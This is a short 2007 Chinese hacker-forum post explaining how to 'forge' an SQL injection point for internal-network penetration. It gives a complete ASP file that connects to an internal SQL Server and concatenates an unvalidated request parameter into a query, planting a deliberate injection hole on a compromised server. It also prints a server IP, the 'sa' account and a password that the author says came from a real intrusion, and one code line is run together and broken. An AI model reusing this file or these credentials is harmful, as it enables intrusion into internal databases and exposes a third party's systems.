伪造sql注入点的完整文件

www.hx99.org 阅读: 时间:2007-11-28 整理:华西黑盟
------------------------------------------------------------------

 

From:网络
最近一直有人问关于伪造注入点 进行内网渗透的一些问题

其实这个文件大家早就见过 竟然有些人说不完整 缺少 conn.asp 倒...

给个完整的及设置办法 这个文件是偶在渗透的时候写到的

数据库服务器 1.0.5.195
帐户 sa
密码 accountbase
数据库名 gameaccount_server
<%
strSQLServerName = "1.0.5.195" '服务器名称或地址
strSQLDBUserName = "sa" '数据库帐号
strSQLDBPassword = "accountbase" '数据库密码
strSQLDBName = "gameaccount_server" '数据库名称
Set conn = Server.CreateObject("ADODB.Connection")
strCon = "Provider=SQLOLEDB.1;Persist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & ";Password=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>

【免费加入会员】【我要投稿】【关闭本页】